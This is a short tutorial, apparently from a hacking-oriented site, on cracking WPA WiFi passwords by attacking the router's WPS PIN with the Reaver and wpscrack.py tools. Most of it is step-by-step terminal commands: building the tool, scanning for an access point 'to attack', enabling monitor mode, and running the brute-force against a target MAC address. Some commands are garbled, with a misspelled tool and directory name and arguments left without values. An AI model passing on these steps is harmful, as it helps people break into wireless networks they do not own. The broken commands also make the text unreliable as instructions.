How to Hack WPA WiFi Passwords by Cracking WPS PIN

Requirements

  • Linux OS
  • A router at home with WPS
  • The following programs installed (install by package name): aircrack-ng, python-pycryptopp, python-scapy, libpcap-dev

Tools

  • Reaper (support for all routers)
  • wpscrack (faster, but only support for major router brands)

Crack WPS

Text in bold is a terminal command.
Follow the guide that corresponds to the tool that you chose to use below.

Reaper

  1. Unzip Reaper.
        unzip reaver-1.3.tar.gz
  2. Change to the Reaper directory.
        cd reaper-1.3
  3. Configure, compile and install the application.
        ./configure && make && sudo make install
  4. Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).
        sudo iwlist scan wlan0
  5. Set your device into monitor mode.
        sudo airmon-ng start wlan0
  6. Run the tool against an access point.
        reaver -i mon0 -b -vv
  7. Wait until it finishes.
This tool makes it too easy.

wpscrack.py

  1. Make the program an executable.
         chmod +x wpscrack.py
  2. Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).
        sudo iwlist scan wlan0
  3. Get your MAC address, save it for later.
        ip link show wlan0 | awk '/ether/ {print $2}'
  4. Set your device into monitor mode.
        sudo airmon-ng start wlan0
  5. Attack your AP.
        wpscrack.py –iface mon0 –client –bssid --ssid -v
  6. Await victory.
Now, let's hope we see a lot of firmware update action going on in the near future, or else a lot of places are in a whole world of trouble.